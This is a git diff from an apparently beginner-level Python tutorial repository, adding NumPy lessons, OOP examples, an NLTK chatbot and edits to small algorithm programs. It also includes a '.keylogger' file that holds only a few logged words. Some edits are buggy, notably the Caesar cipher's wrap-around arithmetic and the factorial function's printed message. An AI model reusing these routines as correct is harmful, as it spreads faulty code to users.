+prompt-toolkit==1.0.15 +protobuf==3.4.0 +psutil==5.2.2 +ptyprocess==0.5.2 +pycodestyle==2.3.1 +pyflakes==1.6.0 +Pygments==2.2.0 +pygpu==0.6.9 +pylint==1.7.2 +pyparsing==2.2.0 +python-dateutil==2.6.1 +python-qt-binding==0.2.19 +pytz==2017.2 +PyWavelets==0.5.2 +pyzmq==16.0.2 +qt-dotgraph==0.2.32 +qt-gui==0.2.32 +qt-gui-py-common==0.2.32 +QtAwesome==0.4.4 +qtconsole==4.3.1 +QtPy==1.3.1 +requests==2.14.2 +rope-py3k==0.9.4.post1 +rosboost-cfg==1.11.14 +rosclean==1.11.14 +roscreate==1.11.14 +rosgraph==1.11.21 +roslint==0.10.0 +roslz4==1.11.21 +rosmaster==1.11.21 +rosparam==1.11.21 +scikit-image==0.13.0 +scikit-learn==0.19.0 +scipy==0.19.1 +simplegeneric==0.8.1 +singledispatch==3.4.0.3 +six==1.10.0 +sklearn-theano==0.0.1 +smach==2.0.1 +smclib==1.7.19 +snowballstemmer==1.2.1 +Sphinx==1.6.3 +sphinxcontrib-websupport==1.0.1 +spyder==3.2.3 +sympy==1.1.1 +tensorflow==1.3.0 +tensorflow-tensorboard==0.1.5 +terminado==0.6 +testpath==0.3 +Theano==0.9.0 +tornado==4.5.2 +traitlets==4.3.2 +wcwidth==0.1.7 +webencodings==0.5 +Werkzeug==0.12.2 +widgetsnbextension==3.0.1 +wrapt==1.10.11 +xdot==2.0.1 diff --git a/Numpy/P01_Introduction.py b/Numpy/P01_Introduction.py new file mode 100644 index 0000000..95dbd2f --- /dev/null +++ b/Numpy/P01_Introduction.py @@ -0,0 +1,83 @@ +# Author: OMKAR PATHAK + +# NumPy (Numeric Python) is a Python package used for building multi dimensional arrays and performing +# various operations + +# In this program we will walk through various concepts and see available functions in the NumPy package. + +# For installing: pip3 install numpy + +import numpy as np + +# we have a function arange() which makes an array of the specified dimension. Example: +myArray = np.arange(20) +print(myArray) # [ 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19] + +# an array from 10 to 20 +myArray = np.arange(10, 20) # [10 11 12 13 14 15 16 17 18 19] +print(myArray) + +# an array from 10 to 20 with 2 steps +myArray = np.arange(10, 20, 2) +print(myArray) # [10 12 14 16 18] + +# reshape() helps to reshape our NumPy array +myArray = np.arange(20) +# syntax: reshape(number_of_rows, number_of_columns) +myArray = myArray.reshape(4, 5) +print(myArray) + +# [[ 0  1  2  3  4] +#  [ 5  6  7  8  9] +#  [10 11 12 13 14] +#  [15 16 17 18 19]] + +myArray = myArray.reshape(10, 2) +print(myArray) + +# [[ 0  1] +#  [ 2  3] +#  [ 4  5] +#  [ 6  7] +#  [ 8  9] +#  [10 11] +#  [12 13] +#  [14 15] +#  [16 17] +#  [18 19]] + +# shape returns the shape of the array. The length of shape tuple is called as rank (or dimension) +print(myArray.shape) # (10, 2) + +# ndim returns the dimension (rank) of the array +print(myArray.ndim) # 2 + +# size returns the total number of elements in the array +print(myArray.size) # 20 + +# to check the data we have dtype. +print(myArray.dtype) # int64 + +# zeros creates an array will all zeros +myArray = np.zeros((3, 4)) +print(myArray) + +# [[ 0.  0.  0.  0.] +#  [ 0.  0.  0.  0.] +#  [ 0.  0.  0.  0.]] + +# ones creates an array with all ones +myArray = np.ones((3, 4)) +print(myArray) + +# [[ 1.  1.  1.  1.] +#  [ 1.  1.  1.  1.] +#  [ 1.  1.  1.  1.]] + +# numpy random module helps to initialize array with random values +myArray = np.random.rand(3, 4) +print(myArray) + +# [[ 0.54808903  0.08750717  0.23886267  0.93589283] +#  [ 0.90750146  0.31197039  0.54013725  0.91092763] +#  [ 0.38827674  0.04647878  0.15997665  0.94909537]] diff --git a/Numpy/P02_NumpyDataTypes.py b/Numpy/P02_NumpyDataTypes.py new file mode 100644 index 0000000..fd33774 --- /dev/null +++ b/Numpy/P02_NumpyDataTypes.py @@ -0,0 +1,34 @@ +# Author: OMKAR PATHAK + +# Data type Description +# bool_ Boolean (True or False) stored as a byte +# int_ Default integer type (same as C long; normally either int64 or int32) +# intc Identical to C int (normally int32 or int64) +# intp Integer used for indexing (same as C ssize_t; normally either int32 or int64) +# int8 Byte (-128 to 127) +# int16 Integer (-32768 to 32767) +# int32 Integer (-2147483648 to 2147483647) +# int64 Integer (-9223372036854775808 to 9223372036854775807) +# uint8 Unsigned integer (0 to 255) +# uint16 Unsigned integer (0 to 65535) +# uint32 Unsigned integer (0 to 4294967295) +# uint64 Unsigned integer (0 to 18446744073709551615) +# float_ Shorthand for float64. +# float16 Half precision float: sign bit, 5 bits exponent, 10 bits mantissa +# float32 Single precision float: sign bit, 8 bits exponent, 23 bits mantissa +# float64 Double precision float: sign bit, 11 bits exponent, 52 bits mantissa +# complex_ Shorthand for complex128. +# complex64 Complex number, represented by two 32-bit floats (real and imaginary components) +# complex128 Complex number, represented by two 64-bit floats (real and imaginary components) + +import numpy as np + +# while creating a numpy array, any data type from above can be explicitly specified. +myArray = np.arange(10) +print(myArray) # [0 1 2 3 4 5 6 7 8 9] + +myArray = np.array(myArray, dtype = np.float32) +print(myArray) # [ 0.  1.  2.  3.  4.  5.  6.  7.  8.  9.] + +myArray = np.array(myArray, dtype = np.complex64) +print(myArray) # [ 0.+0.j  1.+0.j  2.+0.j  3.+0.j  4.+0.j  5.+0.j  6.+0.j  7.+0.j  8.+0.j 9.+0.j] diff --git a/Numpy/P03_NumpyAttributes.py b/Numpy/P03_NumpyAttributes.py new file mode 100644 index 0000000..538689a --- /dev/null +++ b/Numpy/P03_NumpyAttributes.py @@ -0,0 +1,24 @@ +# Author: OMKAR PATHAK + +# These are the various attributes provided by NumPy. + +import numpy as np + +myArray = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6] +#  [7 8 9]] + +# ndarray.size returns the number of items in the array +print(myArray.size) # 9 + +# ndarray.shape returns a tuple consisting of array dimensions +print(myArray.shape) # (3, 3) + +# ndarray.ndim returns the number of array dimensions +print(myArray.ndim) # 2 + +# ndarray.itemsize returns the memory size of each element in the array +print(myArray.itemsize) # 8 diff --git a/Numpy/P04_ArrayFromNumericalRanges.py b/Numpy/P04_ArrayFromNumericalRanges.py new file mode 100644 index 0000000..e8dbbf5 --- /dev/null +++ b/Numpy/P04_ArrayFromNumericalRanges.py @@ -0,0 +1,43 @@ +# Author: OMKAR PATHAK + +# This program illustrates how to create an adarray from numerical ranges + +import numpy as np + +# ndarray.arange(start, stop, step, dtype) +# Creates a numpy array from 1 to 20 +myArray = np.arange(1, 21) +print(myArray) # [ 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20] + +# Specifying data type of each element +myArray = np.arange(10, dtype = 'float') +print(myArray) # [ 0.  1.  2.  3.  4.  5.  6.  7.  8.  9.] + +# Specifying steps to jump in between two elements +myArray = np.arange(1, 21, 2) +print(myArray) # [ 1  3  5  7  9 11 13 15 17 19] + +# ndarray.linspace(start, stop, num, endpoint, retstep, dtype) +# Shows 5 equal intervals between 10 to 20 +myArray = np.linspace(10, 20, 5) +print(myArray) # [ 10.   12.5  15.   17.5  20. ] + +# if endpoint is set to false the last number inn STOP parameter is not executed +myArray = np.linspace(10, 20, 5, endpoint = False) +print(myArray) # [ 10.  12.  14.  16.  18.] + +# ndarray.lopspace returns an ndarray object that contains the numbers that are evenly spaced +# on a log scale. +# ndarray.logscale(start, stop, num, endpoint, base, dtype) +# default base is 10 +myArray = np.logspace(1.0, 3.0, num = 10) +print(myArray) + +# [   10.            16.68100537    27.82559402    46.41588834    77.42636827 +#    129.1549665    215.443469     359.38136638   599.48425032  1000.        ] + +myArray = np.logspace(1.0, 3.0, num = 10, base = 2) +print(myArray) + +# [ 2.          2.33305808  2.72158     3.1748021   3.70349885  4.32023896 +#   5.0396842   5.87893797  6.85795186  8.        ] diff --git a/Numpy/P05_NumpyArrayManipulation.py b/Numpy/P05_NumpyArrayManipulation.py new file mode 100644 index 0000000..9a070c5 --- /dev/null +++ b/Numpy/P05_NumpyArrayManipulation.py @@ -0,0 +1,83 @@ +# Author: OMKAR PATHAK + +# This example shows various array manipulation operations +import numpy as np + +# numpy.reshape(array_to_reshape, tuple_of_new_shape) gives new shape (dimension) to our array +myArray = np.arange(0, 30, 2) +print(myArray) # [ 0  2  4  6  8 10 12 14 16 18 20 22 24 26 28] + +myArrayReshaped = myArray.reshape(5, 3) +print(myArrayReshaped) + +# [[ 0  2  4] +#  [ 6  8 10] +#  [12 14 16] +#  [18 20 22] +#  [24 26 28]] + +# numpy.ndarray.flat() returns an 1-D iterator +print(myArray.flat[5]) # 10 + +# numpy.ndarray.flatten() restores the reshaped array into a 1-D array +print(myArrayReshaped.flatten()) + +# numpy.tranpose() this helps to find the tranpose of the given array +print(myArrayReshaped.transpose()) + +# [[ 0  6 12 18 24] +#  [ 2  8 14 20 26] +#  [ 4 10 16 22 28]] + +# numpy.swapaxes(array, axis1, axis2) interchanges the two axes of an array +originalArray = np.arange(8).reshape(2,2,2) +print(originalArray) + +# [[[0 1] +#   [2 3]] +#   +#  [[4 5] +#   [6 7]]] + +print(np.swapaxes(originalArray, 2, 0)) + +# [[[0 4] +#   [2 6]] +#   +#  [[1 5] +#   [3 7]]] + +# numpy.rollaxis(arr, axis, start) rolls the specified axis backwards, until it lies in a specified position +print(np.rollaxis(originalArray, 2)) + +# [[[0 2] +#   [4 6]] +#   +#  [[1 3] +#   [5 7]]] + +# numpy.resize(arr, shape) returns a new array with the specified size. If the new size is greater than +# the original, the repeated copies of entries in the original are contained + +myArray = np.array([[1,2,3],[4,5,6]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6]] + +print(np.resize(myArray, (3, 2))) + +# [[1 2] +#  [3 4] +#  [5 6]] + +# numpy.append(array, values, axis) +myArray = np.array([[1,2,3],[4,5,6]]) +print(myArray) + +# [[1 2 3] +#  [4 5 6]] + +print(np.append(myArray, [7, 8, 9])) + +# [1 2 3 4 5 6 7 8 9] diff --git a/Numpy/P06_NumpyStringFunctions.py b/Numpy/P06_NumpyStringFunctions.py new file mode 100644 index 0000000..2337a25 --- /dev/null +++ b/Numpy/P06_NumpyStringFunctions.py @@ -0,0 +1,43 @@ +# Author: OMKAR PATHAK + +import numpy as np + +abc = ['abc'] +xyz = ['xyz'] + +# string concatenation +print(np.char.add(abc, xyz)) # ['abcxyz'] + +print(np.char.add(abc, 'pqr')) # ['abcpqr'] + +# string multiplication +print(np.char.multiply(abc, 3)) # ['abcabcabc'] + +# numpy.char.center: This function returns an array of the required width so that the input string is +# centered and padded on the left and right with fillchar. + +print(np.char.center(abc, 20, fillchar = '*')) # ['********abc*********'] + +# numpy.char.capitalize(): This function returns the copy of the string with the first letter capitalized. +print(np.char.capitalize('hello world')) # Hello world + +# numpy.char.title(): This function returns a title cased version of the input string with the first letter +# of each word capitalized. +print(np.char.title('hello how are you?')) # Hello How Are You? + +# numpy.char.lower(): This function returns an array with elements converted to lowercase. It calls +# str.lower for each element. +print(np.char.lower(['HELLO','WORLD'])) # ['hello' 'world'] + +# numpy.char.upper(): This function calls str.upper function on each element in an array to return +# the uppercase array elements. +print(np.char.upper('hello')) # HELLO + +# numpy.char.split(): This function returns a list of words in the input string. By default, a whitespace +# is used as a separator +print(np.char.split('Omkar Pathak')) # ['Omkar', 'Pathak'] +print(np.char.split('2017-02-11', sep='-')) # ['2017', '02', '11'] + +# numpy.char.join(): This method returns a string in which the individual characters are joined by +# separator character specified. +print(np.char.join(':','dmy')) # d:m:y diff --git a/Numpy/P07_NumpyMathematicalFunctions.py b/Numpy/P07_NumpyMathematicalFunctions.py new file mode 100644 index 0000000..3929826 --- /dev/null +++ b/Numpy/P07_NumpyMathematicalFunctions.py @@ -0,0 +1,30 @@ +# Author: OMKAR PATHAK + +import numpy as np + +angles = np.array([0, 30, 45, 60, 90, 180, 360]) + +# Convert to radians by multiplying with pi/180 +# for getting sine of angles +print(np.sin(angles * np.pi/180)) + +# for getting cosine of angles +print(np.cos(angles * np.pi/180)) + +# for getting tangent of angles +print(np.tan(angles * np.pi/180)) + +# for computing inverse of trigonometric functions +sine = np.sin(angles * np.pi/180) +sineinv = np.arcsin(sine) +# computing angle from inverse +print(np.degrees(sineinv)) + +# for rounding the values +print(np.around(sine, 4)) # [ 0.      0.5     0.7071  0.866   1.      0.     -0.    ] + +# for rounding to previous integer +print(np.floor(sine)) # [ 0.  0.  0.  0.  1.  0. -1.] + +# for rounding to next integer +print(np.ceil(sine)) # [ 0.  1.  1.  1.  1.  1. -0.] diff --git a/Numpy/P08_NumpyArithmeticOperations.py b/Numpy/P08_NumpyArithmeticOperations.py new file mode 100644 index 0000000..4c74718 --- /dev/null +++ b/Numpy/P08_NumpyArithmeticOperations.py @@ -0,0 +1,25 @@ +# Author: OMKAR PATHAK + +import numpy as np + +firstArray = np.arange(12).reshape(3, 4) +print(firstArray) + +secondArray = np.arange(4) +print(secondArray) + +# adding above two arrays (NOTE: array shapes should be same) +print(np.add(firstArray, secondArray)) + +# subtracting above two arrays +print(np.subtract(firstArray, secondArray)) + +# multiplying above two arrays +print(np.multiply(firstArray, secondArray)) + +# dividing the above two arrays +print(np.divide(firstArray, secondArray)) + +# numpy.power(): returns array element raised to the specified value result +array = np.array([1, 2, 3]) +print(np.power(array, 2)) # [1 4 9] diff --git a/OOP/P11_MagicMethods.py b/OOP/P11_MagicMethods.py index caebf85..751b7db 100644 --- a/OOP/P11_MagicMethods.py +++ b/OOP/P11_MagicMethods.py @@ -13,6 +13,14 @@ def __init__(self, firstname, lastname, salary = 0): def __str__(self): return 'Full Name: ' + self.firstname + ' ' + self.lastname + # Implements behaviour for built in type comparison to int + def __int__(self): + return self.salary + + # For overloading the (==) + def __eq__(self,other): + return self.salary==other.salary + # For overloading the (+) def __add__(self, other): return self.salary + other.salary @@ -28,3 +36,6 @@ def __mul__(self, other): print(Jagdish) # Full Name: Jagdish Pathak print(Omkar + Jagdish) # 3000 (This output because of __add__ method overloading) print(Omkar * Jagdish) # 2000000 (__mul__) + print(int(Omkar)) # 1000 (__int__) + print(int(Jagdish)) # 2000 (__int__) + print(Omkar==Jagdish) diff --git a/OOP/P11_Property decorators.py b/OOP/P11_Property decorators.py new file mode 100644 index 0000000..2489bff --- /dev/null +++ b/OOP/P11_Property decorators.py @@ -0,0 +1,38 @@ +#This shows the usage of property decorators + +#Python @property is one of the built-in decorators. The main purpose of any decorator is to change your class methods or attributes in such a way so that the users neeed not make any additional changes in their code. + +#Without property decorators + +class BankAccount: + def __init__(self,name,balance): + self.name=name + self.balance=balance + self.total= self.name+ " has "+self.balance+ " dollars in the account" + +user1=BankAccount("Elon Musk","10000") +user1.name="Tim cook" +print(user1.name) +print(user1.total) + +# Output: Tim cook +# Elon Musk has 10000 dollars in the account + + +#With property decorators + +class BankAccount: + def __init__(self,name,balance): + self.name=name + self.balance=balance + @property + def total(self): + return self.name+ " has "+self.balance+ " dollars in the account" + +user1=BankAccount("Elon Musk","10000") +user1.name="Tim cook" +print(user1.name) +print(user1.total) + +#Output: Tim cook +# Tim cook has 10000 dollars in the account diff --git a/Programs/.keylogger b/Programs/.keylogger new file mode 100644 index 0000000..64b0be4 --- /dev/null +++ b/Programs/.keylogger @@ -0,0 +1,8 @@ +Shift_LOkar +Shift_LPathak +Shift_L H e l l o +t h e r e +Shift_L I +a m +Shift_L O m k a r +Shift_L P a t h a k diff --git a/Programs/Chatbot.py b/Programs/Chatbot.py new file mode 100644 index 0000000..7c35e98 --- /dev/null +++ b/Programs/Chatbot.py @@ -0,0 +1,145 @@ +# -*- coding: utf-8 -*- +import nltk +from nltk.chat.util import Chat, reflections + +reflections = { + "i am" : "you are", + "i was" : "you were", + "i" : "you", + "i'm" : "you are", + "i'd" : "you would", + "i've" : "you have", + "i'll" : "you will", + "my" : "your", + "you are" : "I am", + "you were" : "I was", + "you've" : "I have", + "you'll" : "I will", + "your" : "my", + "yours" : "mine", + "you" : "me", + "me" : "you", + +} +pairs = [ + [ + r"my name is (.*)", + ["Hello %1, How are you today ?",] + ], + [ + r"hi|hey|hello", + ["Hello", "Hey there",] + ], + [ + r"what is your name ?|your name|name please", + ["I am Y2K. You can call me crazy individual!",] + ], + [ + r"how are you ?|how you doing|what about you|how about you ?", + ["I'm doing good. How can I help you ?",] + ], + [ + r"sorry (.*)", + ["Its alright","Its OK, never mind",] + ], + [ + r"I am fine", + ["Great to hear that, How can I help you?",] + ], + [ + r"(.*) continents", + ["Asia, Africa, North America, South America, Antarctica, Europe, and Australia ",] + ], + [ + r"(.*) (english|hollywood) movie", + ["The Shawshank Redemption", " The Lord of the Rings: The Return of the King","Inception", "Interstellar", "Parasite", "Twilight", "Fast & Furious", "Lucky one","A walk to remember", "The Last Song", "The Notebook","The Fault in Our Stars", "Joker", "Me Before You", "All the boys have met before","Kissing booth", "Titanic",] + ], + [ + r"i'm (.*) doing good", + ["Nice to hear that","How can I help you?:)",] + ], + [ + r"(.*) age?|are you an (idiot|stupid)|what do you think you are", + ["I'm a computer program dude....Seriously you are asking me this?",] + ], + [ + r"(.*) (online|free) courses", + ["Udemy","Udacity","Great Learning","Google Digital Garage","Swayam",] + ], + [ + r"(.*) (news channel|news)", + ["BCC World News","Fox News","Cable News Network (CNN)","Sky News","MSNCB","Republic World","ZEE News","ABP News",] + ], + [ + r"(.*) (horror|spooky) movie", + ["The Nun", "Annabelle", "The conjuring", "Sinister", "The cabin in the wood", "insidious", "IT","Ouija", "Train to Busan", "The Ring", "Hush", "Evil Dead", "Oculus",] + ], + [ + r"(.*) (bollywood|hindi) movie", + ["War", "My name is Khan", "Happy new year", "Dilwale", "Uri", "Don", "Don 2", "Raees","Raazi", "Kalank", "Kalank", "Dangal", "LUDO", "Good Newz", "PK", "Jab Tak Hai Jaan","Cocktail", "Bahubali", "M.S.Dhoni", "Aashiqui 2","Dear Zindagi","Anand", "Mughal-E-Azam", "Mother India", "Don ", " Parinda", "Mr. India","Mera Naam Joker", "Amar, Akbar and Anthony", " Agneepath ", "Sahib Bibi Aur Ghulam","Sholay",] + ], + [ + r"(.*) (webseries|series)", + ["You", "Lucifer", "Cursed", "Mismatched", "Money Heist", "Stranger Things", "Merlin","The Protector", "Sabrina", "Dark", "Friends", "The Big Bang Theory", "Little Things","Lock & Key", "Sherlock", "Sweet Tooth", "The Witcher", "Shadow and Bones","Never Have i ever", "Brooklyn Nine-Nine", "Ragnarok", "Originals", "Vampire Diaries","The Order", "The Boss Baby", "The Haunting of Hill House", "Pup Academy", "Mary Queen of Scots","Bitten", "Titans", "Warrior Nun","The Haunting of bly Manor",] + ], + [ + r"(.*) k-drama", + ["descendants of the sun","busted", "her private life", "whats wrong with secretary kim","its okay to not be okay", "hospital playlist", "crash landing on you","weightlifting fairy kim bok joo", "my first first love", "beauty inside", "was it love",] + ], + [ + r"(.*) (novel|book)", + ["Harry Potter", "Twilight", "Alchemist", "Angel And Demon", "Dead Beautiful", "Lost Symbol", "The Vinche Code", "Hunger Games",] + ], + [ + r"(.*) created ?", + ["I am created using Python's NLTK library ","top secret",] + ], + [ + r"(.*) band", + ["BTS", "The Beatles", "The rolling stones", "Maroon 5", "One Direction", "No Doubt","Black Pink", "EXO", "MonstaX", "Stray Kids","The chainsmokers",] + ], + [ + r"(.*) actress", + ["Scarlett Johansson", "Jennifer Lawrence", "Emma Watson", " Margot Robbie","Angelina Jolie", "Kristen Stewart", "Rachel McAdams","Deepika Padukone", "Priyanka Chopra", "Alia Bhatt", "Kareena Kapoor","Nora Fatehi", "Jacqueline Fernandez", "Aishwarya Rai", "Sara Ali Khan", "Shraddha Kapoor","Anushka Sharma", "Disha Patani",] + ], + [ + r"(.*) (game|sport)", + ["Cricket","Hockey", "Basketball", "Football", "Baseball","Badminton", "Tennis", "Swimming", "Archery","Skates", "Volleyball", "Table Tennis", "Golf",] + ], + [ + r"(.*) (sports person|player)", + ["Lionel Messi","Sania Mirza", "Sachin Tendulkar", "Virat Kohli", "Kevin Durant","Hardik Pandya", "Rohit Sharma", "P. V. Sindhu", "Parupalli Kashyap","Sania Mirza", "Dhyan Chand", "Cristiano Ronaldo", "Robert Lewandowski","Chris Gayle", "Steve Smith", "David Warner", "Ricky Ponting","Stephen Curry", "LeBron James", "M.S.Dhoni", "Chris Paul",] + ], + [ + r"(.*) actor", + ["Robert Downey, Jr.", "Chris Hemsworth", "Tom Holland", "Brad Pitt","Tom Hiddleston", "Tom Cruise", "Chris Evans", "Benedict Cumberbatch","Paul Rudd", "Jeremy Renner", "Ian Somerhalder ","Paul Wesley", "Aamir Khan", "Amitabh Bachchan","Anil Kapoor", "Ranveer Singh", "Ranbir Kapoor", "Salman Khan","Sanjay Dutt", "Shah Rukh Khan", "Tiger Shroff", "Varun Dhawan",] + ], + [ + r"(.*) dialogue", + ["Mere paas maa hai.","Pushpa, I hate tears…","Kitne aadmi the!","Babumoshai, zindagi badi honi chahiye, lambi nahi.","Rishtey mein toh hum tumhare baap lagte hai, naam hai Shahenshaah!","Dosti ka ek usool hai madam – no sorry, no thank you.","Mogambo khush hua!","Hum jahan khade hote hain line yahi se shuru hoti hai.","Bade bade deshon mein aisi choti-choti baatein hoti rehti hai, Senorita.","Haar kar jeetne wale ko baazigar kehte hai.","Mere Karan Arjun aayenge.","Agar maa ka doodh piya hai toh samne aa!","Uska to na bad luck hi kharab hai.","Crime Master Gogo naam hai mera, aankhen nikal ke gotiyan khelta hun main.","Tareekh pe tareekh, tareekh pe tareekh, tareekh pe tareekh milti gayi My Lord, par insaaf nahi mila","Rahul, naam toh suna hi hoga.","Mein apni favourite hoon!","Picture abhi baaki hai mere dost!","How’s the josh?","Thappad se darr nahi lagta sahab, pyaar se lagta hai.","Filmein sirf teen cheezo ke wajah se chalti hai…entertainment, entertainment, entertainment…aur main entertainment hoon.","All izz well",] + ], + [ + r"quit", + ["Bye take care. See you soon :) ","It was nice talking to you. See you soon :)",] + ], + [ + r"(.*) joke", + ["Why did the tomato blush? Because it saw the salad dressing.","What do you call bears with no ears? B","What do dentists call X-rays? Tooth pics.","Did you hear about the first restaurant to open on the moon? It had great food, but no atmosphere.","What did one wall say to the other wall? I’ll meet you at the corner.","When does a joke become a “dad” joke? When the punchline is apparent.","What did the paper say to the pencil? Write on!","How did the bullet lose its job? It got fired.","Why should you never trust stairs? They are always up to something.","Sometimes I tuck my knees into my chest and lean forward.That’s just how I roll.","What do you call a cheese that’s not yours? Nacho cheese!","Did you hear about the cheese factory that exploded in France?There was nothing left but de Brie.",] + ], + [ + r"even me", + ["That's great"] + ], + [ + r"thank you", + ["Your welcome , would you like to know something else if no then please type in QUIT to exit",] + ], +] +def chat(): + print("Hi! I am Y2K..") + chat = Chat(pairs, reflections) + chat.converse() + +#initiate the conversation +if __name__ == "__main__": + chat() \ No newline at end of file diff --git a/Programs/P04_Factorial.py b/Programs/P04_Factorial.py index 5798ccf..fb29789 100644 --- a/Programs/P04_Factorial.py +++ b/Programs/P04_Factorial.py @@ -1,5 +1,6 @@ #Author: OMKAR PATHAK #This program finds the favtorial of the specified numbers +#For example, factorial of 5 = 5*4*3*2*1 = 120 def factorial(number): '''This function finds the factorial of the number passed as argument''' diff --git a/Programs/P05_Pattern.py b/Programs/P05_Pattern.py index b4da517..db988a0 100644 --- a/Programs/P05_Pattern.py +++ b/Programs/P05_Pattern.py @@ -88,3 +88,25 @@ def pattern5(level): print() pattern5(userInput) print() + + def pattern6(userInput): + ''' + following is the another approach to solve pattern problems with reduced time complexity + + for + + * + ** + *** + **** + ***** + ''' + + num = int(input('Enter number for pattern')) + pattern = '*' + string = pattern * num + x = 0 + + for i in string: + x = x + 1 + print(string[0:x]) diff --git a/Programs/P07_PrimeNumber.py b/Programs/P07_PrimeNumber.py index e4ba9bf..485de60 100644 --- a/Programs/P07_PrimeNumber.py +++ b/Programs/P07_PrimeNumber.py @@ -3,18 +3,20 @@ def checkPrime(number): '''This function checks for prime number''' + isPrime = False if number == 2: print(number, 'is a Prime Number') if number > 1: for i in range(2, number): if number % i == 0: print(number, 'is not a Prime Number') + isPrime = False break else: - print(number, 'is a Prime Number') - break - else: - print(number, 'is not a Prime Number') + isPrime = True + + if isPrime: + print(number, 'is a Prime Number') if __name__ == '__main__': userInput = int(input('Enter a number to check: ')) diff --git a/Programs/P08_Fibonacci.py b/Programs/P08_Fibonacci.py index 64b0afe..67133a1 100644 --- a/Programs/P08_Fibonacci.py +++ b/Programs/P08_Fibonacci.py @@ -8,27 +8,12 @@ def fibonacci(number): else: return (fibonacci(number - 1) + fibonacci(number - 2)) -def fibonacciFor(number): - '''This function calculates the fibonacci series for n-th term using loop''' - # first two terms - n1 = 0 - n2 = 1 - count = 2 - if number <= 0: - print("Please enter a positive integer") - elif number == 1: - print("Fibonacci sequence upto ",number,":") - print(n1) - else: - print("Fibonacci sequence upto ",number,":") - print(n1,n2,end=' ') - while count <= number: - nth = n1 + n2 - print(nth,end=' ') - # update values - n1 = n2 - n2 = nth - count += 1 +def fibonacci_without_recursion(number): + if number == 0: return 0 + fibonacci0, fibonacci1 = 0, 1 + for i in range(2, number + 1): + fibonacci1, fibonacci0 = fibonacci0 + fibonacci1, fibonacci1 + return fibonacci1 if __name__ == '__main__': userInput = int(input('Enter the number upto which you wish to calculate fibonnaci series: ')) @@ -36,4 +21,4 @@ def fibonacciFor(number): print(fibonacci(i),end=' ') print("\nUsing LOOP:") - fibonacciFor(userInput) + print(fibonacci_without_recursion(userInput)) diff --git a/Programs/P09_Factorial.py b/Programs/P09_Factorial.py index e9698b1..37b8dbc 100644 --- a/Programs/P09_Factorial.py +++ b/Programs/P09_Factorial.py @@ -8,6 +8,15 @@ def factorial(number): else: return number * factorial(number - 1) +def factorial_without_recursion(number): + fact = 1 + while(number > 0): + fact = fact * number + number = number - 1 + print('Factorial of', number,'is: ') + print(fact) + if __name__ == '__main__': userInput = int(input('Enter the number to find its factorial: ')) - print('Factorial of',userInput,'is:',factorial(userInput)) + print('Factorial of', userInput, 'is:', factorial(userInput)) + factorial_without_recursion(userInput) diff --git a/Programs/P19_SimpleStopWatch.py b/Programs/P19_SimpleStopWatch.py index 59eec6b..bbbff67 100644 --- a/Programs/P19_SimpleStopWatch.py +++ b/Programs/P19_SimpleStopWatch.py @@ -14,3 +14,32 @@ endtime = time.time() print('Total Time:', round(endtime - starttime, 2),'secs') break +# Press enter to start and stop the watch +""" +import time + +print('Press Enter to begin, Press Enter again to stop') +if input()=='': + starttime = time.time() + print('Started') + while True: + val=input() #For ENTER + if val=='': + print('Stopped') + endtime = time.time() + print('Total Time:', round(endtime - starttime, 2),'secs') + break + +""" + +""" +Output: +Press Enter to begin, Press Enter again to stop + +Started + +Stopped +Total Time: 1.05 secs + +""" + diff --git a/Programs/P28_QuickSort.py b/Programs/P28_QuickSort.py index e2983dc..ad11e64 100644 --- a/Programs/P28_QuickSort.py +++ b/Programs/P28_QuickSort.py @@ -9,6 +9,7 @@ # done. # Best = Average = O(nlog(n)); Worst = O(n^2 +import time def quickSort(myList, start, end): if start < end: @@ -27,10 +28,8 @@ def partition(myList, start, end): while not done: while left <= right and myList[left] <= pivot: left = left + 1 - print('Now left is:',left) while myList[right] >= pivot and right >=left: right = right -1 - print('now righht is:',right) if right < left: done= True else: @@ -44,6 +43,23 @@ def partition(myList, start, end): myList[right]=temp return right +# A more efficient solution +def quicksortBetter(arr): + if len(arr) <= 1: + return arr + pivot = arr[len(arr) // 2] + left = [x for x in arr if x < pivot] + middle = [x for x in arr if x == pivot] + right = [x for x in arr if x > pivot] + return quicksortBetter(left) + middle + quicksortBetter(right) + if __name__ == '__main__': List = [3, 4, 2, 6, 5, 7, 1, 9] + start = time.time() print('Sorted List:',quickSort(List, 0, len(List) - 1)) + stop = time.time() + print('Time Required:', (stop - start)) + start = time.time() + print('Sorted List:', quicksortBetter(List)) + stop = time.time() + print('Time Required:', (stop - start)) diff --git a/Programs/P40_CipherText.py b/Programs/P40_CipherText.py index af4b2c1..e092f31 100644 --- a/Programs/P40_CipherText.py +++ b/Programs/P40_CipherText.py @@ -11,9 +11,10 @@ def encrypt(message, key): if chars in LETTERS: num = LETTERS.find(chars) num += key - encrypted += LETTERS[num] - else: - encrypted += symbol + if num>25: + num=num%25 + num=num-1 + encrypted =encrypted + LETTERS[num] return encrypted @@ -23,10 +24,11 @@ def decrypt(message, key): for chars in message: if chars in LETTERS: num = LETTERS.find(chars) - num -= key - decrypted += LETTERS[num] - else: - decrypted += symbol + if num>25: + num=num%25 + num=num-1 + num = num -key + decrypted =decrypted+LETTERS[num] return decrypted diff --git a/Programs/P43_BinarySearchTree.py b/Programs/P43_BinarySearchTree.py index d82b433..eac303f 100644 --- a/Programs/P43_BinarySearchTree.py +++ b/Programs/P43_BinarySearchTree.py @@ -72,9 +72,13 @@ def postorder(self): print(str(self.data), end = ' ') class Tree(object): - def __init__(self): + def __init__(self, initial_data = []): self.root = None + # If provided, add initial data + for data in initial_data: + self.insert(data) + def insert(self, data): if self.root: return self.root.insert(data) @@ -106,6 +110,22 @@ def postorder(self): print('Postorder: ') self.root.postorder() + + def pprint(self, head_node=0, _pre="", _last=True, term=False): + + head_node = self.root if head_node == 0 else head_node + + data = "*" if head_node is None else head_node.data + + print(_pre, "`- " if _last else "|- ", data, sep="") + _pre += " " if _last else "| " + + if term: return + + for i, child in enumerate([head_node.leftChild, head_node.rightChild]): + self.pprint(child, _pre, bool(i) ,term=not(bool(child))) + + if __name__ == '__main__': tree = Tree() tree.insert(10) @@ -117,6 +137,7 @@ def postorder(self): tree.insert(7) tree.insert(15) tree.insert(13) + tree.pprint() print(tree.find(1)) print(tree.find(12)) tree.preorder() diff --git a/Programs/P56_Pangram.py 